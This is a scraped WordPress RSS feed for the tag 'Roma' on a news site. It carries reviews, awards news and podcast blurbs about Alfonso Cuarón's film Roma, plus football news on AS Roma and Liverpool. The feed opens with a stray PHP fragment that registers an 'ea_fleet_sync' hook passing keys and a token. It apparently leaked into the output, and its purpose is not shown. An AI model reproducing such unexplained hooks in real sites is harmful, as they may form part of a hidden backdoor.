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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Roma – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 11 Feb 2019 08:08:20 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Roma – Brief News https://briefnews.eu 32 32 BAFTAs 2019 Best Film winner: What won the biggest prize? Netflix movie Roma is victorious https://briefnews.eu/baftas-2019-best-film-winner-what-won-the-biggest-prize-netflix-movie-roma-is-victorious/ https://briefnews.eu/baftas-2019-best-film-winner-what-won-the-biggest-prize-netflix-movie-roma-is-victorious/#respond Mon, 11 Feb 2019 08:08:20 +0000 http://briefnews.eu/baftas-2019-best-film-winner-what-won-the-biggest-prize-netflix-movie-roma-is-victorious/

Alfonso Cuarón is now comfortably on course for big Oscars success later this month after his acclaimed film Roma won Best Film at last night’s BAFTAs. Cuarón also scooped Best Director, beating Yorgos Lanthimos, Spike Lee, Bradley Cooper and Paweł Pawlikowski. In Best Film, it defeated BlacKkKlansman, The Favourite, Green Book and A Star Is Born.

In his acceptance speech, Cuaron acknowledged Netflix  for the “faith and courage to get behind a black-and-white film about a domestic worker, subtitled from Spanish, and bring it to audiences around the world.

“To see a film about an indigenous domestic worker embraced this way in an age when fear and anger propose to divide us means the world to me.

“Reverting back to a world of separation and isolation is not a solution to anything.

“It is simply an excuse to hide our fear within our basest instincts.”

The Favourite had a stellar evening in other fields.

One of the best-received wins in the room was for that film’s production designers Fiona Crombie and Alice Felton, who were lauded for their acceptance speech – which praised “every woman and working mother who keeps it together and makes it happen”.

Olivia Colman and Rachel Weisz won in the acting categories – for Best Actress and Best Supporting Actress respectively.

Bohemian Rhapsody nabbed two prizes: Rami Malek was honoured for Best Actor for his portrayal of Freddie Mercury, and the biopic also won Best Sound.

Mahershala Ali scooped Supporting Actor for Green Book, and Original Music went to A Star Is Born.

Roma had also taken home Best Film Not In The English Language and Best Cinematography.

Elsewhere, Letitia Wright won the public-voted EE Rising Star prize, following acclaimed work in Black Panther and Avengers: Infinity War.

Joanna Lumley hosted proceedings for the second time, after taking over from Stephen Fry.

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]]> https://briefnews.eu/baftas-2019-best-film-winner-what-won-the-biggest-prize-netflix-movie-roma-is-victorious/feed/ 0 The 7 Best Movies to Buy or Stream This Week: ‘Roma,’ ‘A Simple Favor’ https://briefnews.eu/the-7-best-movies-to-buy-or-stream-this-week-roma-a-simple-favor/ https://briefnews.eu/the-7-best-movies-to-buy-or-stream-this-week-roma-a-simple-favor/#respond Tue, 18 Dec 2018 17:22:47 +0000 http://briefnews.eu/the-7-best-movies-to-buy-or-stream-this-week-roma-a-simple-favor/ One of the most talked-about movies of the year — and a big swing for awards season respectability — landed on Netflix Friday, so we’re recommending it again, along with a goofy but enjoyable early-fall thriller that’s new on disc. And the catalogue titles this week are rich and varied, from Criterion classics to Spielberg’s Oscar winner to lowbrow delights. Let’s dig in:

ON NETFLIX

Roma: Alfonso Cuarón’s latest does so many things at once, none at the expense of the other, that it’s kind of a miracle. Set in Mexico in the early 1970s — and influenced by his own childhood memories — it’s an Y Tu Mamá También-style examination of the country’s class and political struggles as seen through a distinctively personal lens, the intermingled stories of two women abandoned by irresponsible men and rising to the occasion. As ever, the patience and control of the filmmaking is astonishing, and his signature long takes are more felt than seen; they don’t call attention to themselves anymore, and don’t need to. The takeaway is not visual pyrotechnics, but emotion; the empathy and humanity of his work, always present, is this time downright overwhelming.

ON 4K / BLU-RAY / DVD / VOD

A Simple Favor: Ultimately, Paul Feig just might not’ve been the right director for this affectionate throwback to ‘90s erotic thrillers — he never quite gets the tonal balance right, and it swings far too goofy by the end. But there’s a lot to like here, primarily the work of leads Anna Kendrick and Blake Lively, who position themselves well as polar opposites (type-A/laid-back, mousy/sexy) and end up blurring those lines. Kendrick plays a variety of notes well, particularly as she learns to be assertive and tries being Nancy Drew, while there’s something utterly bewitching about the way Lively calls Kendrick “baby” and tells her she’s sexy. It’s not a great movie, but it’s gonna play great on TNT in a couple of years. (Includes audio commentaries, featurettes, gag reel, and deleted scenes.)

ON 4K / BLU-RAY

Schindler’s List: The “movie we need right now” line has been attached to a fair amount of dubious art over the past two years, but Steven Spielberg’s 1993 Best Picture winner (newly re-mastered and re-released for its 25th anniversary) certainly earns the claim. The passage of time has softened some of the legitimate criticisms — this viewer still takes issue with the girl in the pink coat, and there she is, right on the Blu-ray cover — but it’s also rightfully bolstered the power of its performances, particularly the trio (Liam Neeson, Ben Kingsley, and then-unknown Ralph Fiennes) at its center. (Includes featurettes and Voices from the List documentary.)

ON BLU-RAY

Panique: The laughs land and then sting in this 1946 French comedy/drama from director Julien Duvivier, new to the Criterion Collection, in which an intimate community is rocked by the revelation of a murderer in their midst. It puts the entire town on edge, understandably, as worry gives way to paranoia, rumors, and accusations. Duvivier manifests this mounting panic via inventive photography (the Dutch angles and subjective camera are especially striking), and the flashes of wicked humor and sly sensuality serve as a fine diversion on the way to a powerfully bleak conclusion. (Includes featurettes, interviews, and trailer.)

Sawdust and Tinsel: This 1953 Ingmar Bergman effort — included in Criterion’s recent Ingmar Bergman’s Cinema box set, now available as a stand-alone Blu-ray — creates a tricky mixture of mirth and dread, of despair just out of the eyeline of joy. Bergman’s story concerns a ram-shackle, poverty-striken traveling circus, but his focus is on the washed-up proprietor, his unhappy partner, and their melancholy explorations of life away from each other during one particularly dire tour stop. It’s told with an intimacy that’s often uncomfortable, physically and psychologically (nothing’s more devastating than desperate honesty), yet most of its truths are found in the faces of its leads — particularly the looks of weary resignation they share before strolling off together, to their next nowhere destination. What a brilliant, insightful work. (Includes audio commentary and Bergman introduction.)

The Thing from Another World: This 1951 sci-fi/horror classic (newly given the Blu-ray bump by Warner Archive) was sort of the Poltergeist of its time — in that there have been arguments for years over whether it was directed by its credited director, Christian Nyby, or his better-known and beloved producer, Howard Hawks. And it’s not hard to see where the Hawks people are coming from; its crew-of-guys-on-a-base set-up is reminiscent of his Only Angels Have Wings, while the rapid-fire, overlapping dialogue (particularly in the early scenes) were one of Hawks’ trademarks. Whoever is responsible, this is a firecracker of a scary alien movie (sharply remade by John Carpenter in 1982), evocatively and effectively crafted (the monster is wisely kept hidden through much of the picture), featuring a marvelously apocalyptic Dimitri Tiomkin score.

Bloody Birthday: So here’s a nasty little item from 1981, newly restored by Arrow Video, that is in many ways a typical slasher movie of the era — basically it’s end to end murders, interrupted by occasional leering at naked teenage flesh. But there’s something genuinely disturbing about this story of three 10-year-old kids, born under the same eclipse, who are absolutely ruthless psychopaths; director Ed Hunt works in a key of relentless nihilism that is undeniably effective. It’s so low budget, they couldn’t even afford a “Happy Birthday to You” sing-along at the big birthday party, but the nondescript look and cheapo production design somehow render it creepier. It feels homemade, somehow, which makes the whole thing even more unsettling. (Includes audio commentary, featurettes, interviews, and trailers.)

                                                                            

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David gets feedback from last week’s episode with Joseph Kahn, director of Bodied, and Jeff resumes his Limerick ways. The cast plus Britt talk about the power of Roma by Alfonso Cuarón, and cover the outfits and rabbits of The Favourite by Yorgos Lanthimos. Check out Britt Hayes’ piece on the fact and fiction of The Favourite.

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]]> https://briefnews.eu/filmcast-ep-496-roma-and-the-favourite-guest-britt-hayes/feed/ 0 Alfonso Cuarón’s ‘Roma’ Is a Powerful, Empathetic Memory Play https://briefnews.eu/alfonso-cuarons-roma-is-a-powerful-empathetic-memory-play/ https://briefnews.eu/alfonso-cuarons-roma-is-a-powerful-empathetic-memory-play/#respond Wed, 21 Nov 2018 20:36:09 +0000 http://briefnews.eu/alfonso-cuarons-roma-is-a-powerful-empathetic-memory-play/ In the on-screen text that opens Alfonso Cuarón’s Roma, we’re told that the Spanish spoken through most of the movie is subtitled in English, but the occasional bracketed subtitles are to indicate characters speaking in the localized Mixtec dialect; observant viewers will notice, fairly quickly, that said dialect is primarily spoken by the domestic workers for the family at the movie’s center. “What are you saying?” demands the little boy in their care. “Stop talking like that!” Class differences are rarely addressed in American film, arguably to the detriment of our underclasses; in Roma, the distinctions couldn’t be clearer. It’s not just that the black-and-white photography makes the upper-class family appear, comparatively, white; it’s that their servants are literally speaking another language.

And yet the subject of Roma, when all is said and done, is what all of these people have in common – wait, don’t close the tab, it’s not like that at all. This is not another Driving Miss Daisy-ish story of good people in power lifting up the poor people who work for them; Cuarón is too smart for that. First and foremost, though the film is inspired by his childhood and the nanny who raised him, that’s not the perspective he adopts for the picture. The central character, unmistakably, is Cleo (Yalitza Aparicio), the family’s nanny/housekeeper, and her struggles and tragedies are placed directly in its foreground.

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She’s a clearly drawn and complicated character with a life outside of that home, one that (to her regret) eventually encroaches upon it. On a double date, she meets a seemingly nice boy; they have sex, and afterwards he demonstrates his martial arts skills while still nude, and she’s such a good person, she stifles a giggle. But she gets pregnant, and shares the news with him in a stunning deep-focus image of the young lovers in the back of a movie theater; the film plays in the background as he steps out to the bathroom, and never returns. The effect, as she sits all alone in the middle of this giant frame (with another frame inside it), is wrecking.

“No matter what they tell you, women, we are all alone,” says her employer, Sofia (Marina de Tavira), who is dealing with an absent father of her own, barely containing her panic as she makes up excuses for her children about her father’s expanding “work trip,” imploring them to write him letters (“Tell him that you love him and to please come home soon”), pleading with his colleagues to pass on messages. Cuarón finds a useful visual metaphor for their conflict: the family car is a giant Galaxy that barely, barely fits into their medium-sized garage, requiring a series of complicated, microscopic maneuvers, first executed (with ease) in several screen-filling close-ups before we’ve even seen the father’s face; the car amounts to his fanfare. When he leaves, he leaves the car behind, and Cuarón builds Hitchcockian tension into his wife scraping up the oversized car and banging up the garage before finally selling the stupid thing, ridding herself of a cumbersome inconvenience and putting on her bravest face. “It’ll be an adventure!” she assures her family. They’re not so sure.

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And this is where the plot descriptions must cease, because Cuarón is such a free-wheeling storyteller, the kind of screenwriter who likes to let the audience think they’re ahead of him before he goes off in another direction entirely. But this much can be said: after an opening half that meanders, pleasantly but sometimes aimlessly (or so it seems), he pulls the entire story, and every character inside it, into sharp focus with a pair of scenes that are stunningly heartrending. One is a tragedy, captured in a broken, unmoving frame, refusing to blink or look away, because those inside it cannot; the other is a countermeasure, overwhelming in both terror and relief.

In those scenes – and throughout the film, and throughout all of his films – one marvels not just at the patience of his storytelling or the mastery of his technique, though both are undeniable (his signature long takes have been so consumed by his overall style that they no longer call attention to themselves, and are felt more than seen). What’s become abundantly clear, over the course of this extraordinary run of searing films, is the degree to which he roots dramatic power in empathy and humanity. His films present us with complicated, imperfect people who find themselves in situations that demand their very best selves – and they rise to the occasion. What could be more inspiring than that?

“Roma” is out today in New York, Los Angeles, and Mexico. It will expand to additional markets over subsequent weeks before it debuts on Netflix December 14.

            

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]]> https://briefnews.eu/alfonso-cuarons-roma-is-a-powerful-empathetic-memory-play/feed/ 0 Daily Podcast: John Lasseter, Paramount Ranch, A Star is Born, Roma, Star Wars, Toy Story 4, Detective Pikachu. https://briefnews.eu/daily-podcast-john-lasseter-paramount-ranch-a-star-is-born-roma-star-wars-toy-story-4-detective-pikachu/ https://briefnews.eu/daily-podcast-john-lasseter-paramount-ranch-a-star-is-born-roma-star-wars-toy-story-4-detective-pikachu/#respond Wed, 14 Nov 2018 01:56:36 +0000 http://briefnews.eu/daily-podcast-john-lasseter-paramount-ranch-a-star-is-born-roma-star-wars-toy-story-4-detective-pikachu/ detective pikachu pokemon list

On the November 13, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film weekend editor Brad Oman and senior writer Ben Pearson to talk about the latest film and tv news, including John Lasseter, Paramount Ranch, A Star is Born, Interrogation, Roma, The Mandalorian, Toy Story 4 and Detective Pikachu.

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]]> https://briefnews.eu/daily-podcast-john-lasseter-paramount-ranch-a-star-is-born-roma-star-wars-toy-story-4-detective-pikachu/feed/ 0 ‘Roma’ Review: Alfonso Cuarón Has Made a Masterpiece of Humanity and Empathy [TIFF] https://briefnews.eu/roma-review-alfonso-cuaron-has-made-a-masterpiece-of-humanity-and-empathy-tiff/ https://briefnews.eu/roma-review-alfonso-cuaron-has-made-a-masterpiece-of-humanity-and-empathy-tiff/#respond Tue, 11 Sep 2018 15:05:02 +0000 http://briefnews.eu/roma-review-alfonso-cuaron-has-made-a-masterpiece-of-humanity-and-empathy-tiff/ roma review

Alfonso Cuarón‘s Roma is a singular achievement – a visually resplendent tale of empathy, focusing on a housekeeper in 1970s Mexico, and the family she works and lives with.

“The movies are like a machine that generates empathy,” wrote Roger Ebert, and that description is more than apt for Roma, Alfonso Cuarón’s new masterpiece. The most personal film yet from the director of Gravity and Children of Men, Roma has Cuarón drawing on his own childhood to tell the tale of a family in 1970s Mexico City. What a marvel this movie is; what pure, cinematic delight.

Cleo (Yalitza Aparicio) is a housekeeper working (and living with) a family in the middle-class neighborhood of Roma. Cleo observes a warm, often familial relationship with her employers – Antonio (Fernando Grediaga), his wife Sofía (Marina de Tavira), and their four precious children. She also has a life outside the family, including a budding romance with Fermín (Jorge Antonio Guerrero), who seems genuinely sweet at first, but eventually turns shockingly cruel.

I’ll confess that Roma didn’t hook me right away. It’s curious that this film distributed by Netflix, because Roma is the antithesis of a Netflix movie. The first section is slow moving, with almost no real narrative to speak of (the fact that the movie is complete void of musical score also contributes to this). Instead, Cuarón is setting the stage, introducing his players, getting us comfortable in this world. Using stunning black and white cinematography, Cuarón stages nearly every scene in meticulous detail.

There was a maddening trend at this years Toronto International Film Festival, where I saw Roma: movie after movie appeared to be shot in extreme close-up, or uninspired medium shots. So what a joy it was to witness Roma, which is loaded with beautiful wide shots in which nearly every inch of the frame is used to great effect. Cuarón stages moving tableaus – each scene looks like a landscape portrait come to life. The director also employs sweeping tracking shots done in one tack – the camera is constantly panning left or right, tracking Cleo and company as they travel throughout the story. It’s visually marvelous.

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Just when I was starting to worry that Roma would be little more that a beautiful looking film with no narrative weight, Cuarón slowly begins to introduce the film’s storylines, building towards something greater; something more emotionally complex. Dr. Antonio decides to up and leave his wife (we later see him running and laughing with a younger woman), sending Sofía into a emotional tailspin. She struggles to hide the separation from her children, telling them that Antonio is on a work trip to Canada.

In the midst of all this, Cleo learns she’s pregnant with Fermín’s baby – and Fermín wants nothing to do with it. Cleo is immediately apprehensive, and convinced Sofía is going to fire her. Instead, Sofía offers help, taking Cleo to see a doctor. Here, Cuarón begins presenting the warmth that makes Roma so remarkable. There’s a running theme throughout the film of empathy; of characters in Cleo’s orbit caring for her, and her well-being. At the same time, there are tumultuous moments. Earthquakes, fights, and a shocking, tragic moment late in the film that will reduce you to a sobbing mess (trust me). It’s all part of Cuarón’s larger plan. Because even the tragic moment results in a sequence brimming with hope, and compassion.

Aparicio is a revelation as Cleo. Much of the film requires Aparicio to simply observe the world, and people, around her. That may sound simple, but it’s more complex – especially if you want to make it cinematic and engaging. Aparicio does that, and then some. There’s not one false note to her quiet, assured, often tender performance. She embodies this character, and we never have a reason to doubt her. The quietness of the performance also works to lull the audience into a sense of calm and ease, which is shattered when Cleo has a wrenching emotional breakdown on a beach. Cuarón stages this perfectly, with Aparicio’s tearful words rising over the constant crashing of unrelenting waves.

I’m by no means anti-Netflix. In fact, more often than not, I’d prefer to stay home and stream something rather then venture out to a theater. But Roma demands to be seen on the big screen (thankfully, Netflix is giving it a limited theatrical release).Cuarón’s breathtaking 65mm cinematography demands to be projected large, and the film’s slow, deliberate, quiet nature is not the type of thing to be simply streamed in the background as viewers check their cellphones. To do so would to do this film, and yourself, a diservice. The world is often harsh and unforgiving, and when a film with such compassion comes along, we owe it to ourselves to embrace it. To accept the empathy this film is radiating, and try to take a little of it home with us.

/Film rating: 10 out of 10

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]]> https://briefnews.eu/roma-review-alfonso-cuaron-has-made-a-masterpiece-of-humanity-and-empathy-tiff/feed/ 0 Daily Podcast: Villains Who Should Get Movies, Most Anticipated Movies, Roma, Netflix, Mindhunter, Sinemia https://briefnews.eu/daily-podcast-villains-who-should-get-movies-most-anticipated-movies-roma-netflix-mindhunter-sinemia/ https://briefnews.eu/daily-podcast-villains-who-should-get-movies-most-anticipated-movies-roma-netflix-mindhunter-sinemia/#respond Fri, 31 Aug 2018 07:35:59 +0000 http://briefnews.eu/daily-podcast-villains-who-should-get-movies-most-anticipated-movies-roma-netflix-mindhunter-sinemia/ joker

On the August 30, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by weekend editor Brad Oman and writer Hoai-Tran Bui to answer a couple letters in the Mail Bag and talk about the latest film and tv news, including the most anticipated movies of Fall 2018, Roma early buzz, Netflix going theatrical, Mindhunter season 2 casting and Sinemia.

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  • Sam L from Atlanta writes in “This is a fan.  After hearing your comment about visiting the Henson Exhibit, I wanted to let you know that there is a Henson Museum.  It is located in Atlanta at the Center for Puppetry Arts.  (http://www.puppet.org/) The Center has 2 museums, one focusing on the Hensons and one focusing on Puppets around the World. (They include some figures from Laika stop-motion films. )   The Henson Museum has muppets from Sesame Street, from the Muppet Show and Fraggle Rock and many of their movies. It is not really large but it is a great collection. The Henson Foundation gave much of their collection to the Center so the rotate out different characters and displays. Thanks for the great show and please thank Chris, Jacob, Hoai-Tran, Ben and Brad.
  • Michelly writes in to say “Hi Peter.  I just wanted to say that for me you can keep talking about the Magic Castle. I will never get enough of your tales hehe. It’s not easy to get in and you did it! Listeners should chill and just appreciate it. I bet you’re a great magician  and that your magic will evolve a lot. Keep going! Also, I feel that the water cooler is in its best format ever. So glad that besides what you guys have been doing, we get to listen what you have been reading, watching, playing and so on. Finally, a shoutout to HT, my favorite person hihi, for reading and recommending Sharp Objects.   Best wishes from Brazil!”
  • Kolin from San Jose, CA writes in with a question: “With “Venom” and The Joker movie coming out soon, what other villains do you think deserve their own movie?”

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]]> https://briefnews.eu/daily-podcast-villains-who-should-get-movies-most-anticipated-movies-roma-netflix-mindhunter-sinemia/feed/ 0 Netflix releases its first trailer for Alfonso Cuarón’s ‘ROMA’ https://briefnews.eu/netflix-releases-its-first-trailer-for-alfonso-cuarons-roma/ https://briefnews.eu/netflix-releases-its-first-trailer-for-alfonso-cuarons-roma/#respond Fri, 17 Aug 2018 08:40:53 +0000 http://briefnews.eu/netflix-releases-its-first-trailer-for-alfonso-cuarons-roma/

We finally have our first look at Alfonso Cuarón’s first Netflix feature and his first film after Gravity back in 2014. The streaming platform has released a trailer for the black-and-white flick ROMA, which was inspired by Cuarón’s childhood (specifically the women who shaped it) back in the ’70s. ROMA tells the story of a young Mixteco domestic worker who faces a devastating news while caring for the children of a middle class family, as well as the mother of the children who’s dealing with her husband’s extended absence.

According to the film’s synopsis, the characters try “to construct a new sense of love and solidarity in a context of a social hierarchy where class and race are perversely intertwined” at a time (1970s) and “country (Mexico) facing confrontation between a government-backed militia and student demonstrators.” The filmmaker, who was also behind Children of Men and the flawed-but-visually striking Harry Potter and the Prisoner of Azkaban, could make people take Netflix films more seriously. ROMA will arrive on the streaming platform later this year, but it will debut at the Venice Film Festival and also make its way to select theaters.

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Jurgen Klopp wants to install the Brazil international as his new No 1 after Loris Karius and Simon Mignolet failed to convince in the role.

And The Times report Liverpool chiefs are following his wishes by pushing ahead with a move to take Alisson to Anfield.

Liverpool are said to be close to sealing the world-record signing of the 25-year-old having improved on the bid of £62m (€70m) they made on Tuesday.

Respected Merseyside-based journalist Paul Joyce says Liverpool’s new offer of £66.8m (€75m) has been accepted by Roma.

Liverpool and Roma were apparently in talks on Wednesday morning over how payments for Alisson will be structured.

And the Reds are now making plans for the stopper to have a medical, with permission granted to talk personal terms.

Chelsea have also been credited with interest in Alisson in case they lose contract rebel Thibaut Courtois this summer.

But The Guardian claim the Blues have been left standing in Liverpool’s wake and are yet to make a bid of their own.

Liverpool’s progress towards a deal for Alisson has meant the former Internacional ace spoke to Klopp on Tuesday.

And he is believed to have his heart set on a move to last season’s beaten Champions League finalists.

Real Madrid could enter the fray if Courtois reneges on his decision to head back to Spain with them.

But they will have to get involved quickly with Alisson seemingly destined to join his former Roma team-mate Mohamed Salah at Liverpool.

Alisson will continue Liverpool’s summer spending which has already seen Fabinho, Naby Keita and Xherdan Shaqiri signed by Klopp.

And he might end up being followed to Anfield by Lyon captain Nabil Fekir, with Liverpool still keen on the French playmaker.

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]]> https://briefnews.eu/alisson-to-liverpool-reds-agree-66-8m-fee-with-roma-medical-planned-chelsea-yet-to-bid/feed/ 0 The two-word slogan powering Roma in CL mission impossible https://briefnews.eu/the-two-word-slogan-powering-roma-in-cl-mission-impossible/ https://briefnews.eu/the-two-word-slogan-powering-roma-in-cl-mission-impossible/#respond Mon, 30 Apr 2018 22:20:52 +0000 http://briefnews.eu/the-two-word-slogan-powering-roma-in-cl-mission-impossible/ ROMA already erased a three-goal deficit once in this season’s Champions League. The Giallorossi believe they can do it again against Liverpool on Wednesday. “We’ve already shown we’re capable of coming back and we should have the belief that we can do it again,” Roma coach Eusebio Di Francesco said. Liverpool won the first leg 5-2, so Roma needs a repeat of its 3-0 second-leg victory over Barcelona in the quarterfinals to reach next month’s final in Kiev. A 4-1 win – Roma’s result against Chievo Verona on Saturday – would also suffice.

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“I believe. That’s my slogan and that’s what I want to transmit to my players,” Di Francesco added.

However, Roma will have to find a way to stop its former striker, Mohamed Salah, who scored the opening two goals of the first leg.

Security will also be a concern following clashes at the first leg that left a Liverpool fan in critical condition.

Italian state police said “special attention” will be paid to the arrival and movements of 5,000 Liverpool supporters in the capital.

Wednesday’s game is a rematch of the 1984 European Cup final that Liverpool won in a penalty shootout in Roma’s stadium.

In the other semifinal, Real Madrid will look to protect a 2-1 lead against Bayern Munich on Tuesday as it seeks a third consecutive title.

Liverpool should have its devastating front three intact for the second leg, with coach Juergen Klopp saying Sadio Mane will be fit after a minor thigh injury.

Mane, who missed the 0-0 draw with Stoke in the Premier League on Saturday, will link up again with Salah and Roberto Firmino – reuniting the players who scored all of Liverpool’s goals in the first leg. They have scored 28 goals between them in this season’s Champions League, more than any other team in the competition.

Klopp does have issues in midfield, though, with Alex Oxlade-Chamberlain out for the rest of the season after sustaining a serious knee problem in the first leg to join fellow midfielders Adam Lallana and Emre Can on the injury list. Jordan Henderson, James Milner and Georginio Wijnaldum are Klopp’s only fit senior midfielders.

Liverpool, a five-time European champion, has proved to be the master of the counterattack domestically and in the Champions League this season, so is the last team that Roma will want to be gung-ho against. The Reds did, though, squander a three-goal cushion against Sevilla in the group stage to draw 3-3.

Madrid may not be as depleted as expected for the return match against Bayern. Right back Dani Carvajal is still set to miss Tuesday’s match because of a muscle problem, but Francisco “Isco” Alarcon appears to have recovered from the shoulder injury that everyone expected to keep him from playing at Santiago Bernabeu Stadium.

Isco, a key piece in Zinedine Zidane’s midfield, had to be replaced at halftime in the first leg in Germany because of a sprained left shoulder. He practiced with the rest of the squad for the first time since the injury on Sunday. If Isco can’t play, Zidane will likely start with Marco Asensio, who came off the bench to score the winner on Wednesday.

Another player who may be available for Zidane on Tuesday is defender Nacho Fernandez, who had been out for a while because of a muscle injury but also practiced with the squad on Sunday.

Zidane rested Cristiano Ronaldo and most of the regular starters in the team’s 2-1 win against Leganes in the Spanish league on Saturday. Casemiro was the only player who started in the first leg against Bayern and also on Saturday. “They’ll come here with nothing to lose,” Zidane said of Bayern. “We’ll have to put in a huge performance.”

Bayern is taking heart from the number of chances it created in the first leg and from its 2-1 lead in Madrid last year before Zinedine Zidane’s side ultimately won their quarterfinal in extra time.

“I think they were floundering for every cross and for every long ball, so we know what we have to do,” Bayern striker Sandro Wagner said. Thomas Mueller, one of a host of players including Franck Ribery, James Rodriguez and Robert Lewandowski left out of Bayern’s 4-1

win over Eintracht Frankfurt on Saturday, says the side is traveling with confidence to Madrid. “We all know that we need a top performance on Tuesday. We all know as well, however, that there’s everything to play for,” Mueller said. Arjen Robben, Jerome Boateng and Javi Martinez all missed the Frankfurt game through injury. Robben reportedly is still out and won’t make the trip, while Bayern hopes David Alaba can make his comeback from a back injury. Bayern, which faces Frankfurt again in the German Cup final on May 19, needs to beat Madrid to keep alive its hopes of a treble after clinching the Bundesliga with five rounds to spare.

“We swore that we’d throw everything into the return game,” Wagner said. “I’m looking forward to it. I’d play it right now if I could.”

Watch both games LIVE on beIN Sport:

Real Madrid v Bayern Munich – Wednesday 2 May, 4:45 am AEST on beIN Sports 1.

AS Roma v Liverpool – Thursday 3 May, 4:45am AEST on beIN Sports 1.

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